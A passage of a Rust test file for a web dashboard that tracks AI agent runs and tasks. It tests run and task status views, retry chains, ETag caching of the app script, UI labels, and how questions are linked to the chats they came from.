23209 write_run(&runs, old, RunStatus::Stalled);
23210 write_run(&runs, new, RunStatus::Blocked);
23211 let mut t = outcome_task(&[old, new], TaskStatus::Held);
23212 fx.queue().put(&mut t).expect("put");
23213
23214 let task = fx.get(&format!("/api/runs/{new}")).await.json()["task"].clone();
23215 assert_eq!(task["status"], "held");
23216 assert_eq!(task["is_latest"], true);
23217 assert!(task["latest"].is_null());
23218 assert!(task["finished_by"].is_null());
23219 assert_eq!(task["closed_by_hand"], false);
23220 }
23221
23222 #[tokio::test]
23223 async fn a_direct_run_has_no_task_outcome() {
23224 let fx = Fixture::start().await;
23225 let runs = fx.runs();
23226 let id = "20260901-000000-aaaa";
23227 write_run(&runs, id, RunStatus::Blocked);
23228 let view = fx.get(&format!("/api/runs/{id}")).await.json();
23229 assert!(view["task"].is_null());
23230 }
23231
23232 #[test]
23233 fn task_outcome_does_not_guess_a_finishing_run() {
23234 let a = "20260901-000000-aaaa";
23235 let b = "20260901-000000-bbbb";
23236 let c = "20260901-000000-cccc";
23237 let dir = tempfile::tempdir().expect("tempdir");
23238 write_run(dir.path(), a, RunStatus::Blocked);
23239 write_run(dir.path(), b, RunStatus::VerifiedNoop);
23240 let read = |id: &str| read_run(dir.path(), id).ok();
23242 let t = outcome_task(&[a, b, c], TaskStatus::Done);
23245 let out = task_outcome(&t, a, 3, read);
23246 assert!(out.finished_by.is_none());
23247 assert!(out.closed_by_hand);
23248 let latest = out.latest.expect("latest");
23249 assert_eq!(latest.id, c);
23250 assert_eq!(latest.status, None);
23251 assert_eq!(latest.outcome, "record unreadable");
23252
23253 write_run(dir.path(), c, RunStatus::Ready);
23255 let t = outcome_task(&[a, c], TaskStatus::Done);
23256 let out = task_outcome(&t, a, 3, |id| read_run(dir.path(), id).ok());
23257 assert_eq!(out.finished_by.expect("finisher").id, c);
23258 assert!(!out.closed_by_hand);
23259
23260 let t = outcome_task(&[a, b, a], TaskStatus::Held);
23262 assert!(task_outcome(&t, a, 3, read).is_latest);
23263 }
23264
23265 #[tokio::test]
23266 async fn a_run_s_own_detail_page_says_what_replaced_it_too() {
23267 let fx = Fixture::start().await;
23272 let q = fx.queue();
23273 let runs = fx.runs();
23274 let (first, second) = ("20260901-000000-cccc", "20260901-000000-dddd");
23275 write_run(&runs, first, RunStatus::Blocked);
23276 write_run(&runs, second, RunStatus::Merged);
23277
23278 let mut t = Task::new(
23279 "one task".to_owned(),
23280 "do it".to_owned(),
23281 PathBuf::from("/repo"),
23282 Source::Human,
23283 );
23284 t.runs = vec![first.to_owned(), second.to_owned()];
23285 q.put(&mut t).expect("put");
23286
23287 let earlier = fx.get(&format!("/api/runs/{first}")).await.json();
23288 assert_eq!(earlier["superseded_by"], "dddd");
23289 assert_eq!(earlier["latest_attempt"]["id"], second);
23290 assert_eq!(earlier["latest_attempt"]["short"], "dddd");
23291 assert_eq!(
23292 earlier["latest_attempt"]["resolved"], true,
23293 "the run that replaced it landed, so this one reads as settled"
23294 );
23295
23296 let later = fx.get(&format!("/api/runs/{second}")).await.json();
23297 assert!(
23298 later["superseded_by"].is_null(),
23299 "the latest attempt is not superseded by anything"
23300 );
23301 assert!(
23302 later["latest_attempt"].is_null(),
23303 "the latest attempt has no later attempt of its own"
23304 );
23305
23306 assert!(APP_JS.contains("run.latest_attempt"));
23313 assert!(APP_JS.contains("data-superseded"));
23314 assert!(APP_JS.contains("#/runs/${latest.id}"));
23315 }
23316
23317 #[tokio::test]
23318 async fn a_chain_of_retries_points_the_oldest_at_the_current_head() {
23319 let fx = Fixture::start().await;
23325 let q = fx.queue();
23326 let runs = fx.runs();
23327 let (a, b, c) = (
23328 "20260901-000000-aaaa",
23329 "20260901-000000-bbbb",
23330 "20260901-000000-cccc",
23331 );
23332 write_run(&runs, a, RunStatus::Blocked);
23333 write_run(&runs, b, RunStatus::Blocked);
23334 write_run(&runs, c, RunStatus::Merged);
23335
23336 let mut t = Task::new(
23337 "retried twice".to_owned(),
23338 "do it".to_owned(),
23339 PathBuf::from("/repo"),
23340 Source::Human,
23341 );
23342 t.runs = vec![a.to_owned(), b.to_owned(), c.to_owned()];
23343 q.put(&mut t).expect("put");
23344
23345 let view = fx.get(&format!("/api/runs/{a}")).await.json();
23346 assert_eq!(view["superseded_by"], "bbbb", "the immediate successor");
23347 assert_eq!(
23348 view["latest_attempt"]["id"], c,
23349 "the chain's current head, not the intermediate Blocked retry"
23350 );
23351 assert_eq!(view["latest_attempt"]["resolved"], true);
23352
23353 let mid = fx.get(&format!("/api/runs/{b}")).await.json();
23354 assert_eq!(mid["latest_attempt"]["id"], c);
23355 assert_eq!(mid["latest_attempt"]["resolved"], true);
23356 }
23357
23358 #[tokio::test]
23359 async fn an_unresolved_or_unverified_successor_does_not_read_as_finished() {
23360 let fx = Fixture::start().await;
23361 let q = fx.queue();
23362 let runs = fx.runs();
23363
23364 let (still_blocked_a, still_blocked_b) = ("20260901-000000-e001", "20260901-000000-e002");
23367 write_run(&runs, still_blocked_a, RunStatus::Blocked);
23368 write_run(&runs, still_blocked_b, RunStatus::Blocked);
23369 let mut t1 = Task::new(
23370 "still stuck".to_owned(),
23371 "do it".to_owned(),
23372 PathBuf::from("/repo"),
23373 Source::Human,
23374 );
23375 t1.runs = vec![still_blocked_a.to_owned(), still_blocked_b.to_owned()];
23376 q.put(&mut t1).expect("put");
23377 let view1 = fx.get(&format!("/api/runs/{still_blocked_a}")).await.json();
23378 assert_eq!(view1["latest_attempt"]["resolved"], false);
23379 assert_eq!(view1["latest_attempt"]["status"], "blocked");
23380 assert_eq!(view1["latest_attempt"]["done"], true);
23381
23382 let (run_a, run_b) = ("20260901-000000-e005", "20260901-000000-e006");
23384 write_run(&runs, run_a, RunStatus::Blocked);
23385 write_run(&runs, run_b, RunStatus::Implementing);
23386 let mut t3 = Task::new(
23387 "retrying".to_owned(),
23388 "do it".to_owned(),
23389 PathBuf::from("/repo"),
23390 Source::Human,
23391 );
23392 t3.runs = vec![run_a.to_owned(), run_b.to_owned()];
23393 q.put(&mut t3).expect("put");
23394 let view3 = fx.get(&format!("/api/runs/{run_a}")).await.json();
23395 assert_eq!(view3["latest_attempt"]["id"], run_b);
23396 assert_eq!(view3["latest_attempt"]["resolved"], false);
23397 assert_eq!(view3["latest_attempt"]["done"], false);
23398
23399 let (noop_a, noop_b) = ("20260901-000000-e003", "20260901-000000-e004");
23404 write_run(&runs, noop_a, RunStatus::Blocked);
23405 write_run(&runs, noop_b, RunStatus::VerifiedNoop);
23406 let mut t2 = Task::new(
23407 "claims done".to_owned(),
23408 "do it".to_owned(),
23409 PathBuf::from("/repo"),
23410 Source::Human,
23411 );
23412 t2.runs = vec![noop_a.to_owned(), noop_b.to_owned()];
23413 q.put(&mut t2).expect("put");
23414 let view2 = fx.get(&format!("/api/runs/{noop_a}")).await.json();
23415 assert_eq!(
23416 view2["latest_attempt"]["resolved"], false,
23417 "an unverified no-op claim must not read as a confirmed finish"
23418 );
23419
23420 assert!(APP_JS.contains("latest.resolved"));
23423 assert!(APP_JS.contains("successorNote(latest, inFlight)"));
23426 assert!(APP_JS.contains("Latest attempt: "));
23427 assert!(APP_JS.contains("in flight"));
23428 assert!(APP_JS.contains("not resolved"));
23429 }
23430
23431 #[tokio::test]
23432 async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
23433 let fx = Fixture::start().await;
23434 let js = fx.get("/app.js").await;
23440 assert_eq!(js.status, 200);
23441 let tag = js
23442 .header("etag")
23443 .expect("an etag to revalidate against")
23444 .to_owned();
23445 assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
23446 assert_eq!(
23447 js.header("cache-control"),
23448 Some("no-cache, must-revalidate"),
23449 "the phone has to ask every time"
23450 );
23451
23452 let again = fx
23455 .get_with("/app.js", &[("if-none-match", tag.as_str())])
23456 .await;
23457 assert_eq!(
23458 again.status, 304,
23459 "a deck it already has costs one round trip"
23460 );
23461 assert!(again.body.is_empty(), "304 carries no body");
23462
23463 let weak = fx
23466 .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
23467 .await;
23468 assert_eq!(weak.status, 304);
23469 let stale = fx
23470 .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
23471 .await;
23472 assert_eq!(stale.status, 200, "an older build must be replaced");
23473 assert!(stale.body.contains("renderRunActions"));
23474 }
23475
23476 #[test]
23477 fn the_task_detail_has_an_actions_fab_and_sheet() {
23478 assert!(INDEX_HTML.contains("id=\"task-actions-fab\""));
23479 assert!(INDEX_HTML.contains("id=\"task-actions-sheet\""));
23480 assert!(INDEX_HTML.contains("id=\"task-actions-error\" role=\"alert\""));
23481 assert!(APP_JS.contains("show($(\"task-actions-fab\"), route.name === \"task\")"));
23483 assert!(APP_JS.contains("if (route.name !== \"task\") closeTaskActions();"));
23484 assert!(APP_JS.contains("renderTaskActions(task.coreOnly || error ? null : task);"));
23486 assert!(APP_JS.contains("renderTaskActions(null);"));
23487 let sheet = APP_JS
23489 .find("function renderTaskActions")
23490 .expect("sheet renderer");
23491 let body = &APP_JS[sheet..sheet + 3000];
23492 assert!(body.contains("changePriority("));
23493 assert!(body.contains("openTaskEdit(task)"));
23494 assert!(body.contains("renderTaskHoldBox(host"));
23495 assert!(body.contains("renderTaskDoneBox(host"));
23496 assert!(body.contains("renderTaskDeleteBox(host"));
23497 assert!(APP_JS.contains("API.priority(id)"));
23498 assert!(APP_JS.contains("API.deleteTask(id)"));
23499 assert!(APP_JS.contains("location.hash = \"#/queue\""));
23501 assert!(APP_JS.contains("$(\"task-actions-error\")"));
23503 }
23504
23505 #[test]
23506 fn the_run_actions_sheet_leads_with_a_way_to_the_task() {
23507 let task = INDEX_HTML.find("id=\"run-task-box\"").expect("task box");
23508 let actions = INDEX_HTML
23509 .find("id=\"run-actions-box\"")
23510 .expect("actions box");
23511 assert!(task < actions, "the task entry comes first in the sheet");
23512 assert!(APP_JS.contains("renderRunTaskEntry"));
23513 assert!(APP_JS.contains("\"Open task \""));
23514 assert!(APP_JS.contains("started directly, no task"));
23516 assert!(APP_JS.contains("sheet-task-link"));
23517 assert!(APP_JS.contains("task-chip-link"));
23518 }
23519
23520 #[test]
23521 fn the_deck_never_sends_the_operator_to_a_terminal() {
23522 assert!(
23525 !APP_JS.contains("Run `magi fold` first"),
23526 "the deck must offer the fold, not prescribe a shell command"
23527 );
23528 assert!(APP_JS.contains("foldRun:"));
23529 assert!(APP_JS.contains("resumeRun:"));
23530 assert!(APP_JS.contains("renderRunActions"));
23531
23532 assert!(APP_JS.contains("armedFold"));
23534 assert!(APP_JS.contains("Yes, fold worktrees"));
23535
23536 assert!(APP_JS.contains("can no longer be resumed"));
23539 }
23540
23541 #[test]
23542 fn a_finished_run_explains_itself_with_its_own_last_line() {
23543 assert!(
23549 !APP_JS.contains("collapsed on agent quota"),
23550 "a stall must not be explained by a cause the deck did not check"
23551 );
23552 assert!(
23553 !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
23554 "and a block must not offer a guess with an `or` in it"
23555 );
23556
23557 assert!(
23561 APP_JS.contains("setText(r.event, run.event || \"\")"),
23562 "the run's last line is rendered unconditionally"
23563 );
23564 assert!(
23565 !APP_JS.contains("moving && run.event"),
23566 "and never gated on the run still moving"
23567 );
23568
23569 assert!(APP_JS.contains("lost to quota"));
23571 }
23572
23573 #[test]
23595 fn runs_tree_sections_and_state_chips_agree_on_what_a_run_can_be() {
23596 let shapes_marker = "const REPRESENTATIVE_RUN_SHAPES = [";
23597 let shapes_body_start =
23598 APP_JS.find(shapes_marker).expect("the shape list exists") + shapes_marker.len();
23599 let shapes_close = APP_JS[shapes_body_start..]
23600 .find("].map(")
23601 .expect("the shape list is closed by its done-computing .map(...)")
23602 + shapes_body_start;
23603 let shapes_src = &APP_JS[shapes_body_start..shapes_close];
23604
23605 let mut shapes: Vec<(bool, String, bool, bool)> = Vec::new();
23606 for entry in shapes_src.split('{').skip(1) {
23607 let waiting = entry.contains("waiting: true");
23608 let dead = entry.contains("live: \"dead\"");
23609 let status_at =
23610 entry.find("status: \"").expect("each shape names a status") + "status: \"".len();
23611 let status_end = entry[status_at..]
23612 .find('"')
23613 .expect("the status string is closed")
23614 + status_at;
23615 let parked = entry.contains("display_status: \"parked\"");
23616 shapes.push((
23617 waiting,
23618 entry[status_at..status_end].to_string(),
23619 dead,
23620 parked,
23621 ));
23622 }
23623 assert!(shapes.len() >= 6, "parsed shapes: {shapes:?}");
23624
23625 let done_rule_marker = "done: !";
23629 let done_rule_at = APP_JS[shapes_close..]
23630 .find(done_rule_marker)
23631 .expect("the done rule follows the shape list")
23632 + shapes_close
23633 + done_rule_marker.len();
23634 let includes_at = APP_JS[done_rule_at..]
23635 .find(".includes(shape.status)")
23636 .expect("the done rule ends in .includes(shape.status)")
23637 + done_rule_at;
23638 let not_done: Vec<&str> = APP_JS[done_rule_at..includes_at]
23639 .trim()
23640 .trim_start_matches('[')
23641 .trim_end_matches(']')
23642 .split(',')
23643 .map(|s| s.trim().trim_matches('"'))
23644 .filter(|s| !s.is_empty())
23645 .collect();
23646
23647 let shapes: Vec<(bool, String, bool, bool, bool)> = shapes
23648 .into_iter()
23649 .map(|(waiting, status, dead, parked)| {
23650 let done = !not_done.contains(&status.as_str());
23651 (waiting, status, dead, parked, done)
23652 })
23653 .collect();
23654
23655 fn run_section(waiting: bool, status: &str, dead: bool, parked: bool) -> &'static str {
23659 if waiting {
23660 return "waiting";
23661 }
23662 if dead
23663 && !parked
23664 && !matches!(
23665 status,
23666 "merged"
23667 | "ready"
23668 | "stalled"
23669 | "blocked"
23670 | "failed"
23671 | "verified_noop"
23672 | "superseded"
23673 | "already_in_base"
23674 )
23675 {
23676 return "stale";
23677 }
23678 match status {
23679 "merged" | "ready" => "landed",
23680 "stalled" | "blocked" | "failed" | "verified_noop" | "superseded"
23681 | "already_in_base" => "ended",
23682 _ => "flight",
23683 }
23684 }
23685
23686 fn filter_matches(filter_key: &str, waiting: bool, dead: bool, done: bool) -> bool {
23689 match filter_key {
23690 "active" => !done,
23691 "flight" => !done && !waiting && !dead,
23692 "stale" => !done && !waiting && dead,
23693 "waiting" => waiting,
23694 "done" => done,
23695 "all" => true,
23696 other => panic!("unknown RUN_STATE_FILTERS key: {other}"),
23697 }
23698 }
23699
23700 let compatible = |section: &str, filter_key: &str| {
23701 shapes.iter().any(|(waiting, status, dead, parked, done)| {
23702 run_section(*waiting, status, *dead, *parked) == section
23703 && filter_matches(filter_key, *waiting, *dead && !*parked, *done)
23704 })
23705 };
23706
23707 let expected = [
23712 ("waiting", [true, false, false, true, true, true]),
23713 ("stale", [true, false, true, false, false, true]),
23714 ("flight", [true, true, false, false, false, true]),
23715 ("landed", [false, false, false, false, true, true]),
23716 ("ended", [false, false, false, false, true, true]),
23717 ];
23718 let filter_keys = ["active", "flight", "stale", "waiting", "done", "all"];
23719
23720 for (section, wants) in expected {
23721 for (filter_key, want) in filter_keys.iter().zip(wants) {
23722 assert_eq!(
23723 compatible(section, filter_key),
23724 want,
23725 "section {section:?} x filter {filter_key:?} should be compatible: {want}"
23726 );
23727 }
23728 }
23729
23730 assert!(
23733 APP_JS.contains("function sectionCompatibleWithStateFilter(sectionKey, filterKey)")
23734 );
23735 assert!(APP_JS.contains(
23736 "if (state.runsFilter.section && !sectionCompatibleWithStateFilter(state.runsFilter.section, key))"
23737 ));
23738 assert!(APP_JS.contains(
23739 "if (!same && !sectionCompatibleWithStateFilter(section, state.runsStateFilter))"
23740 ));
23741 }
23742
23743 #[tokio::test]
23744 async fn normalize_default_repo_leaves_an_explicit_path_untouched() {
23745 let dir = tempfile::tempdir().expect("tempdir");
23749 let explicit = dir.path().join("not-a-checkout");
23750 std::fs::create_dir_all(&explicit).expect("create dir");
23751 assert_eq!(normalize_default_repo(explicit.clone()).await, explicit);
23752
23753 let missing = dir.path().join("does-not-exist-at-all");
23754 assert_eq!(normalize_default_repo(missing.clone()).await, missing);
23755 }
23756
23757 #[test]
23758 fn stats_verdict_donut_has_fixed_colours_and_a_minimum_arc() {
23759 assert!(APP_JS.contains("function statsDonutArcs"));
23760 assert!(APP_JS.contains("STATS_DONUT_MIN_DEG"));
23761 assert!(APP_JS.contains("function statusInBucket"));
23763 assert!(APP_JS.contains("statuses: [\"superseded\", \"already_in_base\"]"));
23764 assert!(INDEX_HTML.contains("id=\"stats-verdict-donut\""));
23765 let buckets = [
23766 "merged",
23767 "ready",
23768 "in_progress",
23769 "blocked",
23770 "failed",
23771 "verified_noop",
23772 "superseded",
23773 "stalled",
23774 ];
23775 for key in buckets {
23776 let var = format!("--verdict-{key}:");
23777 assert_eq!(APP_CSS.matches(&var).count(), 3, "{var}");
23779 assert!(
23780 APP_CSS.contains(&format!("[data-verdict=\"{key}\"]")),
23781 "{key}"
23782 );
23783 }
23784 }
23785
23786 #[tokio::test]
23787 async fn resolve_talk_and_task_avoid_deserializing_corrupt_or_unrelated_json() {
23788 let dir = tempfile::tempdir().expect("tempdir");
23789 let queue = Queue::at(dir.path().join("queue"));
23790 let talks = Talks::at(dir.path().join("talks"));
23791 std::fs::create_dir_all(queue.root()).unwrap();
23792 std::fs::create_dir_all(talks.root()).unwrap();
23793
23794 std::fs::write(queue.root().join("corrupt-task.json"), "invalid json").unwrap();
23796 std::fs::write(talks.root().join("corrupt-talk.json"), "invalid json").unwrap();
23797
23798 let mut task = Task::new(
23800 "title".into(),
23801 "inst".into(),
23802 PathBuf::from("/repo"),
23803 Source::Human,
23804 );
23805 task.id = "20261019-123456-abcd".into();
23806 std::fs::write(
23808 queue.path_of(&task.id),
23809 serde_json::to_string(&task).unwrap(),
23810 )
23811 .unwrap();
23812
23813 let talk_id = "20261019-234567-cdef";
23814 seed_talk_at(&talks, talk_id, "open");
23815
23816 assert_eq!(resolve_task(&queue, &task.id).unwrap(), task.id);
23818 assert_eq!(resolve_talk(&talks, talk_id).unwrap(), talk_id);
23819
23820 assert_eq!(resolve_task(&queue, "abcd").unwrap(), task.id);
23822 assert_eq!(resolve_talk(&talks, "cdef").unwrap(), talk_id);
23823 }
23824
23825 #[tokio::test]
23826 async fn question_core_and_empty_origins_do_not_touch_unavailable_histories() {
23827 let home = tempfile::tempdir().unwrap();
23828 let ui = delta_test_ui(home.path());
23829 std::fs::write(ui.queue.root(), "not a directory").unwrap();
23831 std::fs::write(ui.talks.root(), "not a directory").unwrap();
23832 assert!(
23833 questions_list(State(ui.clone()))
23834 .await
23835 .unwrap()
23836 .0
23837 .is_empty()
23838 );
23839 assert!(
23840 question_origins(State(ui.clone()))
23841 .await
23842 .unwrap()
23843 .0
23844 .is_empty()
23845 );
23846 let mut question = Question::new(
23847 "run-history".into(),
23848 "review".into(),
23849 "seat".into(),
23850 "Useful question".into(),
23851 "Useful detail".into(),
23852 vec![],
23853 );
23854 ui.questions.put(&mut question).unwrap();
23855 let core = questions_core(State(ui.clone())).await.unwrap().0;
23856 assert_eq!(core.len(), 1);
23857 assert_eq!(core[0].question.summary, "Useful question");
23858 assert!(!core[0].can_consult_chat);
23859 assert!(core[0].origin_chat.is_none());
23860 assert_eq!(core[0].record_revision, question_record_revision(&question));
23861 assert!(question_origins(State(ui.clone())).await.is_err());
23862 assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, 0);
23863 }
23864
23865 #[tokio::test]
23866 async fn question_origins_resolve_typed_links_without_expanding_consultation() {
23867 let home = tempfile::tempdir().unwrap();
23868 let ui = delta_test_ui(home.path());
23869 let chat = seed_talk_at(&ui.talks, "origin-chat", "closed");
23870 let mut parent = Task::new(
23871 "parent".into(),
23872 "body".into(),
23873 PathBuf::from("/repo"),
23874 Source::Agent {
23875 run: chat.clone(),
23876 node: crate::queue::CHAT_NODE.into(),
23877 },
23878 );
23879 parent.id = "parent-task".into();
23880 parent.runs = vec!["parent-run".into()];
23881 ui.queue.put(&mut parent).unwrap();
23882 let mut previous = parent;
23883 for generation in 1..=2 {
23884 let mut child = Task::new(
23885 "child".into(),
23886 "body".into(),
23887 PathBuf::from("/repo"),
23888 Source::Human,
23889 );
23890 child.id = format!("child-task-{generation}");
23891 child.runs = vec![format!("child-run-{generation}")];
23892 child.followup = Some(crate::queue::FollowUp {
23893 origin_task: Some(previous.id.clone()),
23894 run: previous.runs[0].clone(),
23895 pr: String::new(),
23896 findings: vec![],
23897 generation,
23898 });
23899 ui.queue.put(&mut child).unwrap();
23900 previous = child;
23901 }
23902 let mut collision = Task::new(
23905 "collision".into(),
23906 String::new(),
23907 PathBuf::from("/repo"),
23908 Source::Human,
23909 );
23910 collision.id = "collision-task".into();
23911 collision.runs = vec![previous.id.clone()];
23912 ui.queue.put(&mut collision).unwrap();
23913 let mut questions = Vec::new();
23914 for (node, reference, expected, eligible) in [
23915 (crate::triage::NODE, previous.id.as_str(), true, false),
23916 (crate::triage::DEPS_NODE, previous.id.as_str(), true, false),
23917 ("review", previous.runs[0].as_str(), true, true),
23918 (
23919 crate::bump::NOTICE_NODE,
23920 previous.runs[0].as_str(),
23921 true,
23922 false,
23923 ),
23924 ("review", previous.id.as_str(), false, false),
23926 (crate::triage::NODE, previous.runs[0].as_str(), false, true),
23927 ("review", "unrelated", false, false),
23928 ] {
23929 let mut q = Question::new(
23930 reference.into(),
23931 node.into(),
23932 "seat".into(),
23933 "Question".into(),
23934 String::new(),
23935 vec![],
23936 );
23937 ui.questions.put(&mut q).unwrap();
23938 questions.push((q, expected, eligible));
23939 }
23940 for (node, reference, associated, eligible) in [
23941 (crate::reconcile::NODE, previous.id.as_str(), true, false),
23942 (
23943 crate::reconcile::NODE,
23944 previous.runs[0].as_str(),
23945 false,
23946 true,
23947 ),
23948 ("implement", previous.id.as_str(), false, false),
23949 ] {
23950 let mut q = Question::new(
23951 reference.into(),
23952 node.into(),
23953 crate::reconcile::SEAT.into(),
23954 "Reconcile".into(),
23955 String::new(),
23956 vec![],
23957 );
23958 ui.questions.put(&mut q).unwrap();
23959 questions.push((q, associated, eligible));
23960 }
23961 let mut release = Question::new(
23962 "release-record".into(),
23963 crate::bump::NOTICE_NODE.into(),
23964 "release-watch".into(),
23965 "Release".into(),
23966 String::new(),
23967 vec![],
23968 );
23969 ui.questions.put(&mut release).unwrap();
23970 let watch = crate::release_watch::WatchState {
23971 question: Some(release.id.clone()),
23972 run: Some(previous.runs[0].clone()),
23973 held_task: Some(previous.id.clone()),
23974 ..Default::default()
23975 };
23976 let watch_dir = home.path().join("release-watch");
23977 std::fs::create_dir_all(&watch_dir).unwrap();
23978 let watch_path = watch_dir.join("watch.json");
23979 std::fs::write(&watch_path, serde_json::to_vec(&watch).unwrap()).unwrap();
23980 for batch in [
23982 Vec::new(),
23983 questions.iter().map(|(q, _, _)| q.clone()).collect(),
23984 ] {
23985 let (_, _, watches) = question_origin_inputs(&ui, &batch).unwrap();
23986 assert!(watches.is_empty());
23987 }
23988 questions.push((release.clone(), true, false));
23989
23990 let views = questions_list(State(ui.clone())).await.unwrap().0;
23991 let origins = question_origins(State(ui.clone())).await.unwrap().0;
23992 for (q, associated, eligible) in &questions {
23993 let view = views.iter().find(|view| view.question.id == q.id).unwrap();
23994 let origin = origins.iter().find(|view| view.id == q.id).unwrap();
23995 let expected = associated.then_some(chat.as_str());
23996 assert_eq!(
23997 view.origin_chat.as_deref(),
23998 expected,
23999 "{} {}",
24000 q.node,
24001 q.run
24002 );
24003 assert_eq!(origin.origin_chat.as_deref(), expected);
24004 assert_eq!(view.origin_chat_closed, *associated);
24005 assert_eq!(origin.origin_chat_closed, *associated);
24006 assert_eq!(view.can_consult_chat, *eligible, "{} {}", q.node, q.run);
24007 assert_eq!(origin.can_consult_chat, *eligible);
24008 }
24009 for (run, held_task) in [(watch.run.clone(), None), (None, watch.held_task.clone())] {
24011 let link = crate::release_watch::WatchState {
24012 run,
24013 held_task,
24014 ..watch.clone()
24015 };
24016 std::fs::write(&watch_path, serde_json::to_vec(&link).unwrap()).unwrap();
24017 let (tasks, talks, watches) =
24018 question_origin_inputs(&ui, std::slice::from_ref(&release)).unwrap();
24019 assert_eq!(
24020 crate::consult::associated_talk_with_watches(&tasks, &talks, &release, &watches)
24021 .unwrap()
24022 .id,
24023 chat,
24024 );
24025 assert!(crate::consult::origin_talk(&tasks, &talks, &release).is_none());
24026 }
24027 std::fs::write(&watch_path, serde_json::to_vec(&watch).unwrap()).unwrap();
24028 let duplicate_path = watch_dir.join("duplicate.json");
24030 std::fs::write(&duplicate_path, serde_json::to_vec(&watch).unwrap()).unwrap();
24031 let (tasks, talks, watches) =
24032 question_origin_inputs(&ui, std::slice::from_ref(&release)).unwrap();
24033 assert!(
24034 crate::consult::associated_talk_with_watches(&tasks, &talks, &release, &watches)
24035 .is_none()
24036 );
24037 std::fs::remove_file(duplicate_path).unwrap();
24038 let mut unrelated = Task::new(
24040 "other".into(),
24041 String::new(),
24042 PathBuf::from("/repo"),
24043 Source::Human,
24044 );
24045 unrelated.id = "unrelated-task".into();
24046 ui.queue.put(&mut unrelated).unwrap();
24047 let mut conflicting = watch.clone();
24048 conflicting.held_task = Some(unrelated.id);
24049 std::fs::write(
24050 watch_dir.join("conflict.json"),
24051 serde_json::to_vec(&conflicting).unwrap(),
24052 )
24053 .unwrap();
24054 let (tasks, talks, watches) =
24055 question_origin_inputs(&ui, std::slice::from_ref(&release)).unwrap();
24056 assert!(
24057 crate::consult::associated_talk_with_watches(&tasks, &talks, &release, &watches)
24058 .is_none()
24059 );
24060 std::fs::remove_file(watch_dir.join("conflict.json")).unwrap();
24061 std::fs::remove_file(ui.talks.path_of(&chat)).unwrap();
24062 for origin in question_origins(State(ui.clone())).await.unwrap().0 {
24063 assert!(origin.origin_chat.is_none());
24064 assert!(!origin.origin_chat_closed);
24065 }
24066 }
24067
24068 #[test]
24069 fn question_origin_lookup_matches_legacy_with_large_and_changing_histories() {
24070 let home = tempfile::tempdir().unwrap();
24071 let ui = delta_test_ui(home.path());
24072 let chat_id = seed_talk_at(&ui.talks, "chat-origin", "closed");
24073 for i in 0..1000 {
24074 let mut task = Task::new(
24075 "unrelated".into(),
24076 "instruction ".repeat(256),
24077 PathBuf::from("/repo"),
24078 Source::Human,
24079 );
24080 task.id = format!("history-{i:04}");
24081 ui.queue.put(&mut task).unwrap();
24082 let id = seed_talk_at(&ui.talks, &task.id, "open");
24083 let mut talk = ui.talks.get(&id).unwrap();
24084 talk.pending = "history ".repeat(256);
24085 ui.talks.put(&mut talk).unwrap();
24086 }
24087 let mut parent = Task::new(
24088 "parent".into(),
24089 "body".into(),
24090 PathBuf::from("/repo"),
24091 Source::Agent {
24092 run: chat_id.clone(),
24093 node: crate::queue::CHAT_NODE.into(),
24094 },
24095 );
24096 parent.id = "task-parent".into();
24097 parent.runs = vec!["run-parent".into()];
24098 ui.queue.put(&mut parent).unwrap();
24099 let mut child = Task::new(
24100 "child".into(),
24101 "body".into(),
24102 PathBuf::from("/repo"),
24103 Source::Human,
24104 );
24105 child.id = "task-child".into();
24106 child.runs = vec!["run-child".into()];
24107 child.followup = Some(crate::queue::FollowUp {
24108 run: "run-parent".into(),
24109 origin_task: Some(parent.id.clone()),
24110 pr: "https://example.invalid/pr/1".into(),
24111 findings: vec![],
24112 generation: 1,
24113 });
24114 ui.queue.put(&mut child).unwrap();
24115 let mut question = Question::new(
24116 child.id.clone(),
24117 crate::conduct::NODE.into(),
24118 "seat".into(),
24119 "Continue?".into(),
24120 String::new(),
24121 vec![],
24122 );
24123 let (tasks, talks, _watches) =
24124 question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
24125 assert_eq!(tasks.len(), 2);
24126 assert_eq!(talks.len(), 1);
24127 assert_eq!(
24128 ui.monitor.queue_index.lock().unwrap().reparsed,
24129 0,
24130 "exact ancestry bypasses the index"
24131 );
24132 assert_eq!(
24133 crate::consult::origin_talk(&tasks, &talks, &question)
24134 .unwrap()
24135 .id,
24136 chat_id
24137 );
24138 question.run = "run-child".into();
24139 question.node = "review".into();
24140 for origin_task in [Some(parent.id.clone()), None] {
24141 child.followup.as_mut().unwrap().origin_task = origin_task;
24142 ui.queue.put(&mut child).unwrap();
24143 let (tasks, talks, _watches) =
24144 question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
24145 let actual = crate::consult::associated_talk(&tasks, &talks, &question).unwrap();
24146 let expected =
24147 crate::consult::associated_talk(&ui.queue.list(), &ui.talks.list(), &question)
24148 .unwrap();
24149 assert_eq!(actual.id, expected.id);
24150 assert!(!actual.status.open());
24151 let parsed = ui.monitor.queue_index.lock().unwrap().reparsed;
24152 question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
24153 let expected = parsed + if cfg!(unix) { 0 } else { 1002 };
24156 assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, expected);
24157 }
24158 child.followup.as_mut().unwrap().origin_task = Some(parent.id.clone());
24159 ui.queue.put(&mut child).unwrap();
24160 std::fs::remove_file(ui.queue.path_of(&parent.id)).unwrap();
24161 let (tasks, talks, _watches) =
24162 question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
24163 assert!(crate::consult::origin_talk(&tasks, &talks, &question).is_none());
24164 child.origin_chat = Some(chat_id.clone());
24165 ui.queue.put(&mut child).unwrap();
24166 let (tasks, talks, _watches) =
24167 question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
24168 assert_eq!(
24169 crate::consult::origin_talk(&tasks, &talks, &question)
24170 .unwrap()
24171 .id,
24172 chat_id
24173 );
24174 let revision = question_record_revision(&question);
24175 question.abandon("settled elsewhere");
24176 assert_ne!(revision, question_record_revision(&question));
24177 assert!(crate::consult::origin_talk(&tasks, &talks, &question).is_none());
24178 assert!(crate::consult::associated_talk(&tasks, &talks, &question).is_some());
